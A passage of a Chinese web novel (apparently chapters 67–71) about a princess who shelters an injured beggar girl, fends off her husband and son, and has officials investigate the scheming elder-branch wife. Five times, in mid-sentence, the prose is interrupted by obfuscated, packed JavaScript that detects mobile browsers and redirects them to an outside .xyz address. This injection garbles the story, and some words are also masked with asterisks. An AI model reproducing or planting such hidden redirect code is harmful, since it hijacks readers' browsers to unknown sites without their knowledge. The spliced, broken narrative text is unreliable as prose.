可现在不能如此任性。 她得先弄清楚,到底是谁在背后暗算她才行! 这样的事情,不能再发生第二次,否则下一回她真不知道自己还有没有命回来! 深吸一口气,阮莹莹面上越发柔和。 “你应该还认得那些乞丐的模样吧?”她在璎珞床边坐了下来。 璎珞用力点头,这帮人,化成灰她都不会忘! “那就好,去找,找到就盯着他们,看看这帮杂碎到底在和谁联络!”阮莹莹眼底透着阴狠。 她绝不会放过这个人! 无论是谁…… —— 接下来的几天,叶晚竹在蕴秀阁忙得不可开交。 南疆的消息还没传来,但蕴秀阁要开业,却也不能只等着那一种草药。 曼娘派人找来了大江南北的胭脂水粉,和京中夫人小姐们用惯的各占铺子里一半份额,如此一来,无论是想尝鲜还是回购,都能满足客人的需求。 因着那草药,叶晚竹提前便将蕴秀阁后院的小楼建成了雅间模样,暂时先供客人休息所用。 开业的消息已经放了出去,许是她这段时间在京中的名声又好了起来,比起先前,客人们对蕴秀阁的兴趣明显大了不少。 这是好事。 万事俱备,只欠东风。 叶晚竹正在安心等待一个时机,一日傍晚,虎子却慌里慌张地找到了景平王府来。 “小姐,出,出事了!” 他气喘吁吁地被带进潇湘院。 “您让曼娘关照的那个小乞丐被人打了,还伤得不轻!” 叶晚竹眉头一皱,“怎么回事?路上说。” 叫来马车往蕴秀阁去,虎子这才喘匀了气,说起一个时辰之前的事情来。 结束了一天的忙碌,伙计们各自散去休息,虎子则是带上曼娘给小花等人准备的饭食,往她们惯常落脚的地方去。 曼娘没查出小花有什么问题,倒是发现这孩子着实可怜。 小花原本是京中一户人家的孩子,母亲生她时难产去世,父亲是个烂酒鬼,本事没有脾气不小,动辄对小花拳打脚踢,只有年迈的外祖母凑合着拉扯她长大。 等她好不容易长到六七岁,家里已经捉襟见肘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462754|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,父亲的酒瘾却越来越重,竟然生出了要把小花卖掉,换银子买酒的念头。 他往家找来人牙子要把小花带走,外祖母想上前阻拦,一时情急气得摔倒在地,再也没爬起来。 小花被人牙子拖走,哭声传遍整条小巷。 可惜她太过瘦小,连一点活都干不动,脾气还不好,小花在人牙子手里十天,被三家买主退货后,又被气急败坏的人牙子赶回家里。 人牙子原本还想要回银子,一推门发现小花父亲的尸体倒在房门前,不知道已经**多少天。 他醉酒摔倒,撞破了脑袋又无人搀扶,大理寺没查出什么异样,草草收尸结案,人牙子嫌晦气早就溜之大吉。只剩下一个小花孤零零地被留在院中。 后来她就慢慢当起了小乞丐。 “这孩子过的太苦,我们听着都心里难受,索性让他们跟着一起吃饭,反正也就是多跑一趟的功夫!” 虎子抽了抽鼻子,又把大腿一拍。 “我今天过去的时候,那院子里一点声音都没有,倒是好大的血腥味,小的翻墙进去,就看到小花儿浑身是伤躺在院子里……” 小花鼻青脸肿,被打掉了两颗牙,还断了肋骨,最危险的伤是后脑砸出的大洞,从对方下手的情况来看,应该是寻仇。 虎子发现之后就把人送到了附近的医馆,叶晚竹到的时候,曼娘以及小花的小弟小妹们已经在屋中了。 被蕴秀阁照顾了一段时间,如今他们看上去已经干净整洁了不少。 不过,老大受了重伤,生死未卜,这一群小娃都眼眶通红,死命地憋着哭声。 叶晚竹上前挨个揉了一把脑袋,而后蹲了下来。 “都别哭了,我来给你们老大报仇,先告诉我,那个时候你们都在干什么,有没有什么跟平时不一样的地方?” 如无必要,这些小乞丐们一般都是同进同出,不会专门留下一个人的。 有人调虎离山,故意针对小花下手。 叶晚竹身上的冷意重了几分。 “虎子哥说,今天有好吃的,让我们过去……” 第六十七章 想火上浇油? 一个小女孩哆嗦着声音开了口。 屋中几人都是一愣,虎子第一个跳了起来,“小姐,不,不是我!” “我知道。”叶晚竹朝他安抚地点了点头。 虎子不是这样的人,蕴秀阁的伙计也不会这么做。 此事另有其人。 打着虎子的名号行事,至少说明这个人对她的伙计有所了解。 叶晚竹脑中浮现出几个名字来。 “隐风,”她沉下声音,“你去查查,大房的人今天在干什么?” 蕴秀阁的伙计都是原先在宝琅斋干活的,对他们最熟悉的人,除了自己,就剩下柳汝兰和金婶子几个了。 叶晚竹眼底有暗涌流过。 大房安静得也够久了,若真是他们,那可真是好了伤疤忘了疼。 既然如此,那她就帮帮忙,让他们记起来好了! 等着隐风传信的时候,医馆的大夫也从内室走了出来,满屋人连忙围了上去。 老大夫一身衣裳被血打湿,累得气喘吁吁的。 “暂时止住了血,伤口也包扎过了,能不能扛过去,就看今天晚上的了。” 来人明显就是打算要将小花置于死地的,下手不留半分情面,若是虎子晚到一时半会儿,恐怕就真要无力回天了。 小乞丐们的哭声又隐隐响了起来。 通常情况下,大夫这样说话,基本就是没救了! 不知道是谁先忍不住,几人一个比一个哭得大声起来。 “书画,”叶晚竹这时候朝她招了招手,“你回府去,把师傅留下的那颗延息丸拿来。” 延息丸,天清子大师亲自练成的续命丹药,在止血方面最有奇效。 书画点点头就要离开,那群小乞丐中却忽然有人喊了起来。 “王,王妃……”是个叫阿云的小丫头,“您的药很贵吧……” “不贵,家里人自己做的。”叶晚竹随便应了一声,又朝着书画点头催促。 若不是替她办事,小花一个小乞丐也不会惹上这么大的祸。 书画转头就往外跑,想到王妃的话,嘴角却忍不住抽了抽。 天清子大师若是泉下有知,一定不会说王妃拿药救人,但一定会敲王妃的脑袋! 她那有价无市的丹药,在王妃口中怎么像自家厨房烙的大饼似的! 书画用最快的速度来去一趟,取来延息丸给小花服下,效果立竿见影,小花的伤口几乎不再流血。 血能彻底止住,大夫再用药,便是事半功倍。 眼见小花脱离危险,屋中的气氛也变得轻松起来。 隐风就是这个时候回来的,他站在院中,叶晚竹得了消息悄悄走到屋外。 “怎么样?” “王妃所料不错。” 闻言,叶晚竹立刻冷笑出声。 好啊。 还真是他们! 看来大房这段时间的日子还是过得太好了,挨打又赔钱,都拦不住他们想生事的心! “金婶子人虽然不在静心阁伺候,但一直和柳大夫人保持着联络,悄悄地盯着阮姨娘。” 隐风垂着头,声音压得不高不低。 “金婶子的儿子和侄子从前都在宝琅斋做事,被王妃赶走后也一直暗中盯着,从宝琅斋到蕴秀阁,想来也是柳大夫人的安排。” “阮姨娘身边的璎珞这些天都在街上打听乞丐,应该是想寻仇,但还没找到这边。” 那天出现在阮莹莹面前的小乞丐们都把脸涂得黝黑,只有和璎珞来往过的大乞丐露了脸,小花更是压根没有出现在她们面前。 那大乞丐拿了**,早就跑得无影无踪了。 阮莹莹分明还没找到人,小花却已经受了伤。 叶晚竹沉吟片刻,忽然抬眸,神情锐利如刀。 “好个火上浇油的妙计。” 被她要回了铺子,大房两人定是不愿就此善罢甘休,把已经吃到嘴里的肉骨头再吐出去。 柳汝兰让人盯着蕴秀阁,大概是想趁机生事。 盯着阮莹莹就更不必说了,不掌握动向,她怎么好搅合? 没想到,她却能看到阮莹莹被一群乞丐害得不轻,而蕴秀阁这边偏偏也在同一时间接济了一群乞丐。 柳汝兰纯属是误打误撞,但也能让她猜到这是叶晚竹的手笔了。 眼下阮莹莹正在寻仇,小花便出了事,若是虎子没有及时赶到,叶晚竹事后随便一查,就能把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462755|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璎珞再揪出来。 到时候,她和阮莹莹针锋相对,王府就要热闹了。 叶晚竹冷冷抱起双臂。 她看柳汝兰那一身的伤的确是养好了,都有精力想出这种两头撩拨的主意。 想自己稳坐高台看好戏? 那可不行! —— “大夫人,不好了不好了!” 一大清早,金婶子便避开众人,快步跑到了原先的秋雨阁,如今的静心阁中来。 院子里静悄悄的,一点声音都没有,更不见人影。 自打叶晚竹做主将静心阁的下人全部遣散,又从大房账上掏了一大笔银子,心疼着日益干瘪的荷包,萧子易和柳汝兰谁都没有再提过重新购置一些下人。 左右有些金婶子这样的老仆,日子也还算过得去。 金婶子一路畅通无阻地来到柳汝兰屋中,迎面碰上脸色晦暗的大夫人,她的心便是一颤。 大夫人的状态真是一日不如一日。 “怎么了?” 看着一脸惊慌焦急,站在自己面前却又开始发愣的金婶子,柳汝兰皱起眉头,又转身道,“进屋说话!” 回过神,金婶子连忙跟着往屋中而去。 原本富丽堂皇的屋子如今已经变得黯淡了不少,那些名贵的挂画,摆件和家具都不知道去了什么地方。 金婶子越走越小心翼翼。 谁能想到,几个月前还春风得意的大房,竟然会落魄到这种地步? 柳汝兰一瘸一拐地在桌边坐下,先不出声地倒吸一口冷气。 挨打后没有及时找大夫前来,她留下了后遗症,一条腿动起来就会隐隐作痛。 都是因为叶晚竹那个**! 她别想好过! “说吧,到底怎么了?”柳汝兰压下眼底的恨意。 “大夫人……”想起自己要说的话,金婶子的态度变得更加小心。 “那个小乞丐被虎子救了,没死成——” “什么?” 柳汝兰正在喝茶,闻言手上一个哆嗦,茶水溅了满身! 怎么会没死呢? “而,而且,今天一早,王妃已经把她带回潇湘院来了……” 第六十八章 这是你和谁生的野种! “啪”地一声,柳汝兰手中的茶盏落在地上摔了个粉碎。 她人也站了起来,失声道,“怎么回事!” 那小乞丐没死,接下来的计划还怎么进行? “你怎么办的事?”柳汝兰怒瞪着金婶子。 金婶子打着哆嗦,不知道该说什么才好。 大房现在没人没钱,昨天去杀那小乞丐的是她儿子,从前仗着王府的势狐假虎威地吓唬人也就罢了,动手**真是头一遭啊! 想到儿子昨晚回府后那满手的血迹,还有抖了大半夜的模样,金婶子一时如鲠在喉。 她给大夫人当奴婢是想过好日子,可现在怎么越来越荒唐了? “说话啊!” 另一边,柳汝兰迟迟等不到金婶子开口,又狠狠一掌拍在桌上。 金婶子打了个哆嗦。 “一大早的吵吵什么?” 屋外响起脚步声,片刻后,一脸阴鸷的萧子易走了进来。 一眼看到地上的碎瓷片,他便皱了皱眉。 “怎么,你还当现在是大房当家的时候?” 只出不进的日子不知道要过多久,怎么还**手毛脚的? 见着萧子易,柳汝兰的脸色又变得更加难看,抿着嘴不发一言。 当时她在叶晚竹手里吃了那么大的亏,都是因为萧子易的那一句话。 若真能换回铺子和金银也就罢了,可她顶了罪,挨了打,却什么都没得到! 不仅如此,萧子易还又巴巴地跑到二房,要跟他们合作? 柳汝兰那日之后回想起来,怎么都觉得当时那件事就是二房的共谋! 他们早就想把那些铺子收回去了吧? 可惜萧子易不听她的,自顾自地去了,结果怎么样? 被圣上下旨收拾了一顿! 如今大房的院子上顶着静心阁这几个大字,柳汝兰每看一眼都觉得闹心! 更别说萧子易了! 柳汝兰一声不响地把头扭回来,瞪着金婶子不说话。 从前是她看错了,萧子易就是个废物,没了二房,什么事都干不成! 日后她要干什么就干什么,萧子易别想管! 看着柳汝兰的模样,萧子易的眉头也皱得更紧了。 这女人,自己露出了一堆马脚,被叶晚竹抓到,竟然还好意思事后给他甩脸子吵架,现在更是拿他当空气! 要不是她,叶晚竹能找到对大房下手的机会吗? 现在还不老实,和金婶子背着他鬼鬼祟祟,不知道又想做什么。 不想告诉他正好,他还不想知道呢! 等柳汝兰这个蠢货再捅出什么篓子,大不了,他就休她出府,省得整天对着这张怨妇脸! 冷哼一声,萧子易再不发一言,转头扬长而去。 望着他冷漠的模样,柳汝兰磨了磨牙,又朝着门外狠狠地唾了一口! 软骨头的负心汉! “你给我说说,到底怎么回事!” 确认萧子易走远,柳汝兰又盯上了瑟瑟发抖的金婶子。 “那小乞丐还活着?” 金婶子刚知道两个主子竟然已经闹得如此不可开交,正惴惴不安,闻言又哆嗦得更加厉害了。 “活,还活着呢……” 不仅如此,王妃还往府里请来了大夫,瞧着一定要把那小乞丐治好! 也不知道那小乞丐,有没有看见要杀她的人究竟是谁啊? 金婶子战战兢兢地把话一说,柳汝兰的表情这下也变得难看起来。 她是要二房内斗,自己打成乌眼青,可不是再把这件事牵扯到她身上! 趁着那小乞丐还没清醒过来,最好先下手为强! 眼珠子转了又转,柳汝兰招手让金婶子上前,低声在她耳边吩咐起来。 另一边,叶晚竹已经顺利地将小花安置在提前准备好的房间之中。 虽然暂时没了生命危险,但小花依旧昏迷不醒,呼吸也十分虚弱。 看伤的大夫也随行前来,在小厨房熬药,院中顿时弥漫起苦涩的草药滋味。 一切收拾停当,已经到了午饭时分。 萧延的哭声却忽然从潇湘院外传了进来。 “娘亲,娘亲……” “呜呜呜……” “延儿要见您……” 彼时叶晚竹正在院中,听着许久不见的声音,微微挑了挑眉。 她将萧延送到春风居后,听说阮莹莹对他还算不错, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462756|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧延又不曾再出现在面前,叶晚竹还以为她这个儿子已经彻底认了阮莹莹当娘。 如今怎么又跑来卖可怜? “王妃,” 负责前院的小丫鬟一脸为难地跑进来,“小少爷站在门前一直哭,奴婢们怎么劝都不走……” 见识过萍儿的下场,潇湘院中再也没有丫鬟敢给萧延求情,更别说开后门了。 叶晚竹冷笑着点了点头。 “不走就让他站着,等哭累了就想走了。” “去把那块牌子搬到门前,把大门关上,让他哭!” 又想对她使苦肉计? 可惜,这次她不想看了! 潇湘院外,萧延看着丫鬟们将那块“狗与萧家人不得入内”搬到门前,又无情地将大门紧锁,哭得眼泪鼻涕一大把。 “娘,娘亲……”双眼无神地看着紧紧合拢的门扉,萧延哆嗦着喃喃自语。 若是叶晚竹此时出来旁观,便能看到萧延此刻是一脸的难以置信,渐渐又变成心如死灰。 他刚刚听府里的下人议论,说娘亲从府外带回一个没家的小孩,打算自己养着! 萧延顿觉晴天霹雳! 他虽然也不是很想要一个疯疯癫癫的娘亲,可她手里有银子啊。 比起温柔却只会给他吃豆腐和菜叶子的阮姨娘,半夜饿得睡不着的时候,萧延还是挺想念叶晚竹的。 也不知道娘亲什么时候才能消气。 等到那时候,他再撒撒娇,就能重新好吃好喝了吧? 萧延等啊等,却等到这样一个消息! “娘亲!你出来啊!” 猛地又擦了一把眼泪,萧延大声朝着潇湘院喊了起来。 “你宁愿养一个外人,也不养我!难道我不是你亲生的儿子吗?” 此话一出,萧延自己先愣住了。 有哪个母亲会放着亲生的孩子不养,却要养其他人呢? 莫非自己真的不是娘亲的儿子? 如此说来,那潇湘院里的小孩…… “贱妇,这,这是你和谁的野种?”萧延浑身打着哆嗦,一句话脱口而出。 “什么和谁的野种?” 萧子景一身朝服,狐疑地走了过来。 第六十九章 真有可能是野种! 纳妾过后,忍着身体的不适,萧子景还是立刻回到了朝堂之上,如今昭德帝虽然待他仍是平平,但好歹恢复了官位,还是能让萧子景放心几分。 萧延浑身一颤,转头立刻扑进了萧子景怀中。 “父王,娘亲她……” 委屈一股脑地涌上,萧延嘟嘟哝哝,很快把自己知道的事情都说了出来。 听见叶晚竹带回脏兮兮的小乞丐,萧子景先是眉头紧皱,等再听几句,他的表情又变得极为难看起来。 叶晚竹流落在外的野种? 萧子景忽然觉得也不是没有这种可能! 叶晚竹从前对他不说百依百顺,也算听话乖巧,是他出征回来之后才变成现在这样。 边关遥远,他这一去就是四五年,叶晚竹一个人在京中,谁知道都做了什么? 若她真是耐不住寂寞,红杏出墙……那就难怪会是眼下这般态度了! 萧子景越想越气,自己已经信了大半,连呼吸都变得急促起来。 这个不要脸的**! 怪不得这么肆无忌惮! 一把推开还在抽泣的萧延,萧子景大步走到潇湘院门前。 沉着脸将那块牌子踢飞,他又重重地敲上了大门。 “**,你给本王出来说话!别缩在里面!” 想到叶晚竹竟敢对自己不忠,萧子景胸口的火苗便烧得越发旺盛。 “娘亲快出来!父王要见你,你敢不听父王的话吗!” 萧延擦干眼泪,也上前助阵,父子二人将院门拍得震天响。 潇湘院的木门承受不住,开始吱嘎摇晃,萧子景擂门的拳头忽然一空—— 萧子景反应不及,身子跟着一个趔趄,刚站稳便看到隐川寒冰一样的脸出现在自己面前。 被这位扛着,毫无反抗能力地走过一遭,萧子景下意识地咽了咽口水。 不过他很快又挺直了后背。 “让叶晚竹滚出来!” 隐川板着脸,“王妃有令,屋中有病人在养伤,王爷和小世子要发疯,请去别处。” “我发疯?” 萧子景忍不住抬手指了指自己,气得笑出声来,“我看是她心虚!让开,她不出来,本王自己进去!” 他倒要看看那个野种长得什么样子! “王爷留步!” 隐川抬手袭向萧子景肩头。 “狗奴才,滚!” 萧子景正在气头上,手腕一翻便和隐川过起招来。 真以为他堂堂景平王会怕几个奴才不成! 隐川皱着眉头,一脚扫开萧子景的攻势,腿边忽然一凉—— 趁着两人打斗,萧延一猫腰便钻进了潇湘院中! 娘亲太过分了,在外面养了野种竟然还敢带回王府,他一定要把这个该死的臭小孩赶走! 这样他就是娘亲唯一的孩子,娘亲再生气,也要把银子都留给他! 院中弥漫着药味,萧延拔腿就往前跑。 “诶呦!” 刚跑出没几步,脚下一绊,萧延摔倒在地! 叶晚竹收回自己的腿,冷冷走到他的面前。 “我跟你说过什么?” “娘亲——” 听见叶晚竹的声音,萧延猛地抬起头却又忽然噤声。 眼前的娘亲神色冷漠,和在凉亭中看破自己打算的时候一模一样! 而那天她说过什么…… 萧延下意识地伸手摸了摸自己的脸。 再叫娘亲,就挨打! 萧延忽然又直起身子来。 “你这个贱妇,宁愿养一个野种都不养我!” “你为什么不养我,你知不知道我每天有多饿,刮风下雨的时候又有多冷?” “我的衣服鞋子都小了,你看不见吗,为什么不管?” 委屈地瘪着嘴,萧延一迭声地朝叶晚竹质问着。 叶晚竹的目光在他身上扫过。 又是一段时间没见,萧延比她上次看到的时候更加瘦弱了,就连脸色都泛着不健康的黄。 他衣袖和裤管都短了一截,空荡荡地悬着,鞋子挤脚,穿着走路都不自然。 除了干净些,气势嚣张些,萧延和叶晚竹最近接触的小乞丐们的差距似乎也不算很大。 “为什么是我要管你?” 萧延还在嚷嚷,叶晚竹不厌其烦,出声打断。 “你自己说的,不想让我当你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467100|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,我既然不是你娘,管你干什么?” 她的语气和动作一样毫不留情,萧延张了张嘴,控诉的话说不下去了。 “娘亲,延儿错了……”他又抽抽搭搭起来,“延儿只是在跟您闹脾气,您就原谅延儿吧,求求您了!” 一边哭着,萧延一边朝叶晚竹脚边爬去。 其实跟着娘亲也没什么不好,有饭吃,有新衣服穿,也没人欺负他—— 叶晚竹一脚又把他拨到一边。 “隐风,”她冷笑地看着地上的人,“把他给我丢出去,别脏了我这潇湘院的地!” 萧延是知错了吗? 他是苦日子过不下去了! 可惜,自己选的路,那就自己跪着走完吧! 隐风抱起不断挣扎的萧延就往院外走。 这个时候,隐川和萧子景的对战也告了终。 萧子景吃了几个月的素,就算是去打秋风也不管用,浑身无力,没过几招就被隐川按着脑袋跪在院门前。 隐风一把将萧延推出去,他一屁股坐倒在萧子景脑袋旁。 “父王……”萧延哭得眼睛都睁不开,“娘亲打我!” “叶晚竹!”萧子景大吼,“你这个毒妇!” 叶晚竹走到院门边,看着萧子景的狼狈模样,弯腰拍了拍他的脸。 “咦?我还以为延儿这缺食短衣的,是没爹没娘的野种,原来他爹还没死啊?” 听着她阴阳怪气的声音,萧子景挣扎着,一双眼睛向上翻,瞪得血红。 “贱妇,你不得好死!” “你没死,自己的儿子就自己养!” 下一个拍在他脸上的巴掌忽然变得清脆响亮,叶晚竹的声音也凌厉起来。 “你儿子要饿死,要冻**,你怎么看不见?还不赶紧去承担你亲爹的责任,别整天想着给我找麻烦!” “隐风隐川,把门关好,小心疯狗再扑进来咬人!” 叶晚竹转身就走,潇湘院的大门擦着萧子景的鼻尖砰地一声合上了。 “娘亲——” 萧延不甘的喊声被一并隔绝在外,叶晚竹转过身,看见书画快步朝自己跑来。 “王妃,小花醒了!” 第七十章 开门,正规查案 天清子大师的丹药着实管用,小花失血过多,仍是脸色惨白,但确实已经睁开了双眼。 看到叶晚竹进屋,她下意识地张口,“王妃……” “躺着吧。” 叶晚竹看着她有气无力地模样,上前摸了摸小花被裹得严严实实的脑袋。 “你现在很安全,安心养伤就好。” 小花却奋力抬起手,伸进怀中艰难地摸索起来。 她颤颤巍巍地从里面摸出一片粗糙的布料递给叶晚竹。 “要杀我的那个人……”小花声音嘶哑,“是个男的,蒙着脑袋,这是他头上的布……” 小花是在院中中招的,有人在外面敲门,她刚一开门便被对方一把掼倒。 不过她也不是吃素的,能带着一群小跟班从街头打到街尾,自然也能跟这个**犯纠缠一会儿。 可惜她还是力气太小,只扯掉一块布料,连那人的脸都没看见。 后脑的疼痛不断袭上,小花忍不住轻轻地抽着气。 受了这么重的伤,她暂时没了那连珠炮一眼的力气,躺在床上显得可怜巴巴的。 “这个给我,你继续睡。” 叶晚竹伸手将布条拿走,又低声安慰了小花几句,哄着人闭上双眼,这才起身离开。 能清醒过来说话,还能想起有证据,小花性命无忧。 叶晚竹摩挲着手里的布条,片刻后看向外面。 “萧子景走了没有?” “刚走不久。” 隐风一直守在门边,闻言道,“王爷和小世子在门外说了不少悄悄话才走,听上去并没有放弃要进院的打算。” 叶晚竹冷哼一声。 目的没达成,这对父子怎么可能偃旗息鼓。 不过她现在还没功夫理会他们。 “看好潇湘院,不要让他们钻了空子,”叶晚竹又看向隐川,“你拿着这个,去大理寺报案。” 她举起手中的布条,隐川的神情有一瞬间的恍惚。 去大理寺报案? 这么朴素正直的手段,他这辈子还没尝试过。 叶晚竹的声音接着响起,将隐川的注意力又拉了回来。 “就说……有人蓄意**我铺子里的伙计。” —— 等隐川带着官差和衙役回到景平王府,已经是一个时辰之后的事情了。 蓄意**非同小可,衙役和巡城司士兵齐齐出动,暂时封锁了王府所在的巷子,又里里外外将王府的几道门看管了起来。 这动静闹得不算小,平日里安静的巷子前后都出现了开门打探的声音。 萧子景得了消息,匆匆赶到前院,身上衣裳有些凌乱,神情也不好。 “你们这是要做什么?”他瞪眼看着鱼贯而入的官兵,“放肆!没有命令,谁准你们擅闯王府?” 他话音未落,一道身影便随着队伍出现在大门前。 “本官接到报案,事关重大,自然要提前布局,小心提防,王爷不必紧张,待调查清楚,这些人自会撤走。” 看着面前一身官服,长身玉立的人影,萧子景眼中不由得显出阴鸷来。 “裴大人?”他咬着后槽牙,“只是外出查案,大理寺也能请动大人出马了?这不合规矩吧?” 裴玉祁! 萧子景永远忘不了那天,他是怎么被骗去吃观音土的! 这个谢无咎的走狗! 他还没找到机会对付他,这位竟然还敢主动找上门来! 还有,他说的是什么案子? 萧子景防备地看着裴玉祁一步步走近。 “王爷说笑了。” 裴玉祁笑意温润,丝毫不见被萧子景冒犯的不悦,自然也看不出先前骗了他的得意。 “大理寺事务繁忙,大人们腾不出手来,正巧本官闲着,便自告奋勇前来看看,只是举手之劳,谈不上什么出马。” 裴玉祁的声音越波澜不惊,萧子景便越发忿忿。 装腔作势! “至于这案子——” 他刚要继续说下去,眼神却忽然朝着萧子景身后一扫。 “啊,王妃来了!”裴玉祁语气喜悦。 萧子景脖子一僵。 叶晚竹带着书画从后院走出,仿佛萧子景不在眼前一般,径直朝裴玉祁看来。 这位不是刑部的人吗? 怎么在这儿? 她眼中现出一丝讶异。 裴玉祁连忙拱手,又将方才的理由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467101|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了一遍。 “景平王妃,您的伙计现在何处?本官有些话想问。”客气过后,裴玉祁直抒胸臆。 叶晚竹却叹了口气。 “侥幸捡回一条命,却昏迷不醒,恐怕回不了大人的话,就连那布条都是下人在她身上找到的。” “不过我铺子里还有其他伙计发现了这件事,我将他叫来问话。” “那就有劳王妃了。”裴玉祁彬彬有礼地一点头。 叶晚竹让书画回去叫虎子过来,萧子景一头雾水地看着两人你一言我一语,到了这个时候才能插上一句嘴。 “什么伙计?这是怎么回事?” 他又怒瞪着叶晚竹,“你又在搞什么名堂?” 让大理寺的人围了王府,被附近的达官贵人们看去,他的脸又要丢到地上去了! 叶晚竹斜晲着他,“此事最好与王爷无关。” “你什么意思?”萧子景越发警惕起来。 “以防王爷提前动手,销毁证据,您还是什么都别问为好。”叶晚竹似笑非笑地道。 随着她的话,几个大理寺官差也不着痕迹地站到了萧子景的身侧,似乎正提防着他。 “王府中出了事,王爷竟然不知?” 裴玉祁束着手站在一旁,语气也带上了几分狐疑。 萧子景眉头紧皱,挨个把院中的人都看了一遍,抿紧嘴唇,不发一言。 到底能出什么事? 虎子很快就到了,除了将小花的身份模糊带过,余下说的便都是昨晚发生的真实情况。 “裴大人,有人冒充小的传话,害的又也是铺子里的伙计,肯定是有人图谋不轨!”虎子义愤填膺地捏着拳头。 裴玉祁听罢沉吟片刻,又看向叶晚竹。 “王妃的铺子可曾得罪过什么人?瞧着像是寻仇。” “得罪算不上,但我接手铺子后,换掉了一批伙计,听说他们一直暗中盘踞在蕴秀阁附近。”叶晚竹仍是如实相告。 换掉的是什么伙计? 叶晚竹当初满大街追着柳汝兰,要她生吃猪头的那件事,在京中也闹出过不小的议论,为的正是要回铺子。 裴玉祁显然也知情,他转向身后官差,“去静心居看看。” 第七十一章 我想讲理才能讲! 大房自从被叶晚竹收拾过后,明面上便一直保持着偃旗息鼓的模样,便是外面闹得如此不可开交,静心居的门也是紧闭着的。 柳汝兰和更是在屋中不理世事,直到被几个官差押着来到裴玉祁面前,看见前院这偌大的阵仗,才双膝一软。 这,这是什么情况? 萧子易和两个儿子也被一同带来,看着黑压压的人群,萧子易下意识地皱起了眉头。 “柳氏。” 裴玉祁这时候朝着柳汝兰走了过去。 和叶晚竹当面发生冲突的是她,宝琅斋原先的伙计也是她的人,柳汝兰怎么想都逃脱不了嫌疑。 毕竟真的做了亏心事,听着这位裴大人的问话,柳汝兰背上冷汗一层又一层地冒个不停。 叶晚竹这个毒妇,不是向来横冲直撞,视律法于无物吗? 怎么忽然找上刑部,正经八百地调查起案子来了? 循规蹈矩和叶晚竹放在一起,怎么想怎么别扭! 她下意识地朝着叶晚竹看了过去。 叶晚竹已经盯着柳汝兰看了半晌,见她不敢相信,又慌里慌张的眼神,顿时笑得眉眼弯弯。 这景平王府里的人,应该都习惯了她自己动手收拾人的模样吧? 私下恩怨,私下了结,想来柳汝兰是这么打算的。 不过这一回还是换换好了。 让柳汝兰知道,她也是讲理的! 只要理在她这边! 叶晚竹的笑容在柳汝兰看来满是不怀好意,她忍不住打了个哆嗦。 “柳氏,你可有什么要说的?” 裴玉祁问完了话,久久得不到柳汝兰的回应,又抓住她偷看叶晚竹的举动,语气顿时沉了几分。 “你与景平王妃素有旧怨,可是因为这个,有意报复王妃的铺子?” 叶晚竹眼底的笑意变得更深,瞧着也更慑人了。 柳汝兰猛地回过神来,抽回目光,扑通一声跪倒在裴玉祁的面前! “大人,民妇没有,民妇万万不敢啊大人!” 她还能讲得出道理的时候,叶晚竹喊打喊杀,二话不说;等如今她也不想讲理,跟着动了手,叶晚竹她忽然又讲道理了! 柳汝兰邦邦地磕着头,额头冒出血丝,喉咙也气得溢出了铁锈味。 欺人太甚,简直是欺人太甚! “那你的伙计盯着蕴秀阁,是想做什么!” 裴玉祁虽然有玉面公子的美称,但那都是无聊之人评头论足的臆想产物,身为刑部侍郎,身上焉能没有几分煞气。 